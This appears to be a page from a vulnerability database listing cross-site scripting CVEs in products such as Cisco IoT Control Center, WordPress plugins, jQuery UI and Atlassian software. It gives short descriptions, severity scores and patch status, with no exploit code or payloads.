A vulnerability in the web-based management interface of Cisco IoT Control Center could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Iot Control Center
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

Authenticated Stored Cross-Site Scripting (XSS) vulnerability in Florent Maillefaud's WP Maintenance plugin <= 6.0.7 at WordPress. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity.

XSS WordPress Wp Maintenance
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

jQuery UI is a curated set of user interface interactions, effects, widgets, and themes built on top of jQuery. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Jquery Ui H300s Firmware +8
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in ThingsForRestaurants Quick Restaurant Reservations (WordPress plugin) allows Reflected XSS.4.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Quick Restaurant Reservations
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Blogifier v3.0 was discovered to contain an arbitrary file upload vulnerability at /api/storage/upload/PostImage. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Blogifier
NVD GitHub
EPSS 4% CVSS 9.8
CRITICAL PATCH Act Now

A vulnerability in multiple Atlassian products allows a remote, unauthenticated attacker to bypass Servlet Filters used by first and third party apps. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

Authentication Bypass Atlassian XSS +11
NVD
EPSS 5% CVSS 6.1
MEDIUM POC This Month

Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wn533A8 Firmware
NVD Exploit-DB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39234

Related CWEs

MITRE ATT&CK

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